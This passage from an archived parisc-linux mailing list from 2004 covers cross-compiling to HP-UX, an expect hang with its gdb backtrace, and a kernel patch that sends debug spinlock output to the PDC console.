Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	i6PKrBCp007738; Sun, 25 Jul 2004 16:53:11 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id i6PKrBTX007736;
	Sun, 25 Jul 2004 16:53:11 -0400 (EDT)
In-Reply-To: <20040725200211.GA12070@parcelfarce.linux.theplanet.co.uk> from
	"Matthew Wilcox" at Jul 25, 2004 09:02:11 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21834

> On Sun, Jul 25, 2004 at 01:33:38PM -0500, Ivan Petrovich wrote:
> > This is not a parisc-linux question, though it is somewhat related.
> > I am trying to build a i386-linux to hppa-hpux (not hppa-linux)
> > cross-compiler. I have read the parisc-linux FAQ, but found it to not
> > be useful for my application.
> 
> For the linker, you'll need the hpux linker which was ported in the early
> days of the port.  Try http://cvs.parisc-linux.org/obsolete/linker/ but
> be warned nobody's touched it for a number of years.  You may also wish
> to review old postings to this list (say, 1999/2000) before we ported
> the kernel to be ELF.

I haven't tried this code under linux but I have hacked on it a bit
under hpux.  As is, it is somewhat broken and I don't think you
will be able to create shared libraries with it.  It predates the
patches that HP applied to fix the handling of secondary definition
symbols and initializers.  As a result, it is not going to work for
hpux11 targets with gcc 3.3 or later.  However, it should work for
hpux10 targets even with gcc 3.5 (prerelease) versions as secondary
definition symbols aren't used under hpux10.

Collect2 uses chatr to determine library dependencies for hpux10.
This is used to build tables of initializers and finalizers.  There
is no port of chatr to linux, so this will be a problem.  You will
have to create an equivalent tool under linux to make this work.

You will also have to setup an appropriate build and link environment.
It would be easier to setup a 64-bit hpux build environment as you can
use ld from binutils for hppa64-hpux.

I don't know of anyone that has successfully setup a cross to hppa-hpux
because of the problems in handling the SOM object format in linking.
How difficult this is going to be depends on what you want to build.
Doing C++ will be harder than C.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:18 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] expect hang with 2.6.7-pa14 #1
Date: Mon, 26 Jul 2004 18:04:18 -0400 (EDT)
Lines: 39
Approved: news@gmane.org
Message-ID: <200407262204.i6QM4J8B014889@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623509 10285 80.91.229.3 (22 Nov 2014 02:31:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:49 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:12 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 8871 invoked by uid 65534); 26 Jul 2004 22:04:46 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx021) with SMTP; 27 Jul 2004 00:04:46 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 087DA3BE66; Mon, 26 Jul 2004 16:04:37 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 31149-02; Mon, 26 Jul 2004 16:04:37 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 8267B3BE5D; Mon, 26 Jul 2004 16:04:26 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4DD0D3BE51
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 26 Jul 2004 16:04:22 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 30206-09 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 26 Jul 2004 16:04:21 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 08E703BE4E
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 26 Jul 2004 16:04:21 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	i6QM4JCp014891 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 26 Jul 2004 18:04:20 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id i6QM4J8B014889
	for parisc-linux@lists.parisc-linux.org;
	Mon, 26 Jul 2004 18:04:19 -0400 (EDT)
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21835

I tried 2.6.7-pa14 on a c3750.  There is a problem with expect running
the gcc testsuite.  It apparently hangs waiting for a signal:

GNU gdb 2004-05-27-cvs
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "hppa-unknown-linux-gnu"...(no debugging symbols found)...Using host libthread_db library "/lib/libthread_db.so.1".

Core was generated by `expect -- /home/dave/opt/gnu/share/dejagnu/runtest.exp --tool gfortran'.
Program terminated with signal 6, Aborted.
...
(gdb) bt
#0  0x4068a754 in expErrnoMsgSet () from /usr/lib/libexpect5.41.so.1
#1  0x409b0de0 in __pthread_wait_for_restart_signal ()
   from /lib/libpthread.so.0
#2  0x40100af8 in TclpFree () from /usr/lib/libtcl8.4.so.0
#3  0x409b281c in __pthread_alt_lock () from /lib/libpthread.so.0
#4  0x409af480 in pthread_mutex_lock () from /lib/libpthread.so.0
#5  0x40115c98 in Tcl_MutexLock () from /usr/lib/libtcl8.4.so.0
#6  0x4009281c in Tcl_AsyncMark () from /usr/lib/libtcl8.4.so.0
#7  0x4068a77c in expErrnoMsgSet () from /usr/lib/libexpect5.41.so.1
#8  0x4068a77c in expErrnoMsgSet () from /usr/lib/libexpect5.41.so.1
Previous frame identical to this frame (corrupt stack?)

I seen the same backtrace in two separate hangs.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] expect hang with 2.6.7-pa14 #1
Date: Mon, 26 Jul 2004 15:18:56 -0700
Lines: 26
Approved: news@gmane.org
Message-ID: <20040726221856.GW546@tausq.org>
References: <200407262204.i6QM4J8B014889@hiauly1.hia.nrc.ca>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623509 10287 80.91.229.3 (22 Nov 2014 02:31:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:49 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:12 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 10742 invoked by uid 65534); 26 Jul 2004 22:19:21 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx017) with SMTP; 27 Jul 2004 00:19:21 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 55F003BE66; Mon, 26 Jul 2004 16:19:09 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 31007-08; Mon, 26 Jul 2004 16:19:09 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 053623BE63; Mon, 26 Jul 2004 16:18:59 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5498B3BE52
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 26 Jul 2004 16:18:55 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 31149-09 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 26 Jul 2004 16:18:54 -0600 (MDT)
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by free.linux.hp.com (Postfix) with ESMTP id 375C93BE51
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 26 Jul 2004 16:18:54 -0600 (MDT)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 2D0A2CD299; Mon, 26 Jul 2004 15:18:56 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <200407262204.i6QM4J8B014889@hiauly1.hia.nrc.ca>
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.5.1+cvs20040105i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21836

In reference to a message from John David Anglin, dated Jul 26:
> I tried 2.6.7-pa14 on a c3750.  There is a problem with expect running
> the gcc testsuite.  It apparently hangs waiting for a signal:

dunno about this, but i'm interested in:

> #7  0x4068a77c in expErrnoMsgSet () from /usr/lib/libexpect5.41.so.1
> #8  0x4068a77c in expErrnoMsgSet () from /usr/lib/libexpect5.41.so.1
> Previous frame identical to this frame (corrupt stack?)
> 
> I seen the same backtrace in two separate hangs.

is this from latest gdb cvs? if so i am interested in investigating why
the backtrace seems to be corrupted....

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:18 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [patch] pdc printing
Date: Fri, 30 Jul 2004 09:20:37 -0700
Lines: 140
Approved: news@gmane.org
Message-ID: <20040730162037.GG546@tausq.org>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623509 10291 80.91.229.3 (22 Nov 2014 02:31:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:49 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:12 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 8185 invoked by uid 65534); 30 Jul 2004 16:21:50 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx035) with SMTP; 30 Jul 2004 18:21:50 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 1D3CC3BECB; Fri, 30 Jul 2004 10:21:20 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13493-01; Fri, 30 Jul 2004 10:21:06 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 97A873BEC9; Fri, 30 Jul 2004 10:20:39 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5ED603BEC6
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 30 Jul 2004 10:20:36 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 13188-09 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 30 Jul 2004 10:20:35 -0600 (MDT)
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by free.linux.hp.com (Postfix) with ESMTP id E3C753BEC4
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 30 Jul 2004 10:20:34 -0600 (MDT)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id EEC70CD2C9; Fri, 30 Jul 2004 09:20:37 -0700 (PDT)
Content-Disposition: inline
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.5.1+cvs20040105i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21837

Using debug spinlocks, sometimes we don't see any output, possibly
because of disabled interrupts or because of deadlocks in printk. This
patch makes the debug spinlock prints go through pdc console instead. It
works but i'm not completely happy with the fact that by replacing
printk() with pdc_printf() in debuglocks, the output only goes to
the pdc console and not "linux consoles" ... thoughts?

--- arch/parisc/kernel/pdc_cons.c	19 Jan 2004 05:15:47 -0000	1.6
+++ arch/parisc/kernel/pdc_cons.c	30 Jul 2004 00:47:55 -0000
@@ -71,6 +71,19 @@ void pdc_outc(unsigned char c)
 	pdc_iodc_outc(c);
 }
 
+void pdc_printf(const char *fmt, ...)
+{
+	va_list args;
+	char buf[1024];
+	int i, len;
+
+	va_start(args, fmt);
+	len = vscnprintf(buf, sizeof(buf), fmt, args);
+	va_end(args);
+
+	for (i = 0; i < len; i++)
+		pdc_iodc_outc(buf[i]);
+}
 
 int pdc_console_poll_key(struct console *co)
 {
--- arch/parisc/lib/debuglocks.c	14 Jul 2004 18:20:34 -0000	1.7
+++ arch/parisc/lib/debuglocks.c	30 Jul 2004 00:47:55 -0000
@@ -27,12 +27,14 @@
 #include <linux/spinlock.h>
 #include <asm/system.h>
 #include <asm/hardirq.h>	/* in_interrupt() */
+#include <asm/pdc.h>
 
 #undef INIT_STUCK
 #define INIT_STUCK 1L << 30
 
 #ifdef CONFIG_DEBUG_SPINLOCK
 
+
 void _dbg_spin_lock(spinlock_t * lock, const char *base_file, int line_no)
 {
 	volatile unsigned int *a;
@@ -64,7 +66,7 @@ try_again:
 		while ((*a == 0) && --stuck);
 
 	if (unlikely(stuck <= 0)) {
-		printk(KERN_WARNING
+		pdc_printf(
 			"%s:%d: spin_lock(%s/%p) stuck in %s at %p(%d)"
 			" owned by %s:%d in %s at %p(%d)\n",
 			base_file, line_no, lock->module, lock,
@@ -84,7 +86,7 @@ try_again:
 	lock->bline = line_no;
 
 	if (unlikely(printed)) {
-		printk(KERN_WARNING
+		pdc_printf(
 			"%s:%d: spin_lock grabbed in %s at %p(%d) %ld ticks\n",
 			base_file, line_no, current->comm, inline_pc,
 			cpu, jiffies - started);
@@ -97,7 +99,7 @@ void _dbg_spin_unlock(spinlock_t * lock,
 	volatile unsigned int *a = __ldcw_align(lock);
 	if (unlikely((*a != 0) && lock->babble)) {
 		lock->babble--;
-		printk(KERN_WARNING
+		pdc_printf(
 			"%s:%d: spin_unlock(%s:%p) not locked\n",
 			base_file, line_no, lock->module, lock);
 	}
@@ -150,7 +152,7 @@ void _dbg_write_lock(rwlock_t *rw, const
 	int cpu = smp_processor_id();
 	
 	if(unlikely(in_interrupt())) {	/* acquiring write lock in interrupt context, bad idea */
-		printk(KERN_WARNING "write_lock caller: %s:%d, IRQs enabled,\n", bfile, bline);
+		pdc_printf("write_lock caller: %s:%d, IRQs enabled,\n", bfile, bline);
 		BUG();
 	}
 
@@ -167,7 +169,7 @@ retry:
 		
 		stuck--;
 		if ((unlikely(stuck <= 0)) && (rw->counter < 0)) {
-			printk(KERN_WARNING
+			pdc_printf(
 				"%s:%d: write_lock stuck on writer"
 				" in %s at %p(%d) %ld ticks\n",
 				bfile, bline, current->comm, inline_pc,
@@ -176,7 +178,7 @@ retry:
 			printed = 1;
 		}
 		else if (unlikely(stuck <= 0)) {
-			printk(KERN_WARNING
+			pdc_printf(
 				"%s:%d: write_lock stuck on reader"
 				" in %s at %p(%d) %ld ticks\n",
 				bfile, bline, current->comm, inline_pc,
@@ -194,7 +196,7 @@ retry:
 	rw->counter = -1; /* remember we are locked */
 
 	if (unlikely(printed)) {
-		printk(KERN_WARNING
+		pdc_printf(
 			"%s:%d: write_lock grabbed in %s at %p(%d) %ld ticks\n",
 			bfile, bline, current->comm, inline_pc,
 			cpu, jiffies - started);
@@ -215,7 +217,7 @@ void _dbg_read_lock(rwlock_t * rw, const
 
 	rw->counter++;
 #if 0
-	printk(KERN_WARNING
+	pdc_printf(
 		"%s:%d: read_lock grabbed in %s at %p(%d) %ld ticks\n",
 		bfile, bline, current->comm, inline_pc,
 		cpu, jiffies - started);
--- include/asm-parisc/pdc.h	10 Jul 2004 07:51:15 -0000	1.8
+++ include/asm-parisc/pdc.h	30 Jul 2004 00:47:58 -0000
@@ -754,6 +754,7 @@ void pdc_io_reset_devices(void);
 int pdc_iodc_getc(void);
 void pdc_iodc_putc(unsigned char c);
 void pdc_iodc_outc(unsigned char c);
+void pdc_printf(const char *fmt, ...);
 
 void pdc_emergency_unlock(void);
 int pdc_sti_call(unsigned long func, unsigned long flags,


-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] expect hang with 2.6.7-pa14 #1
Date: Fri, 30 Jul 2004 12:56:10 -0400 (EDT)
Lines: 69
Approved: news@gmane.org
Message-ID: <200407301656.i6UGuBPG008196@hiauly1.hia.nrc.ca>
References: <20040726221856.GW546@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623510 10297 80.91.229.3 (22 Nov 2014 02:31:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:50 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: randolph@tausq.org
Original-X-From: - Wed Jul 02 21:27:12 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 11076 invoked by uid 65534); 30 Jul 2004 16:56:49 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx007) with SMTP; 30 Jul 2004 18:56:49 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 99F183BED0; Fri, 30 Jul 2004 10:56:36 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13733-08; Fri, 30 Jul 2004 10:56:36 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 744923BECF; Fri, 30 Jul 2004 10:56:17 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B4C363BECB
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 30 Jul 2004 10:56:13 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 13733-05 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 30 Jul 2004 10:56:12 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 747E73BEC8
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 30 Jul 2004 10:56:12 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	i6UGuBCp008197; Fri, 30 Jul 2004 12:56:11 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id i6UGuBPG008196;
	Fri, 30 Jul 2004 12:56:11 -0400 (EDT)
In-Reply-To: <20040726221856.GW546@tausq.org> from "Randolph Chung" at Jul 26,
	2004 03:18:56 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21838

> dunno about this, but i'm interested in:
> 
> > #7  0x4068a77c in expErrnoMsgSet () from /usr/lib/libexpect5.41.so.1
> > #8  0x4068a77c in expErrnoMsgSet () from /usr/lib/libexpect5.41.so.1
> > Previous frame identical to this frame (corrupt stack?)

Here is another one that I found looking at a core dump by ld:

dave@hiauly6:~/gnu/gcc-3.5/objdir/hppa-linux/libjava/testsuite$ gdb /home/dave/opt/gnu/bin/ld core
GNU gdb 2004-07-26-cvs
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
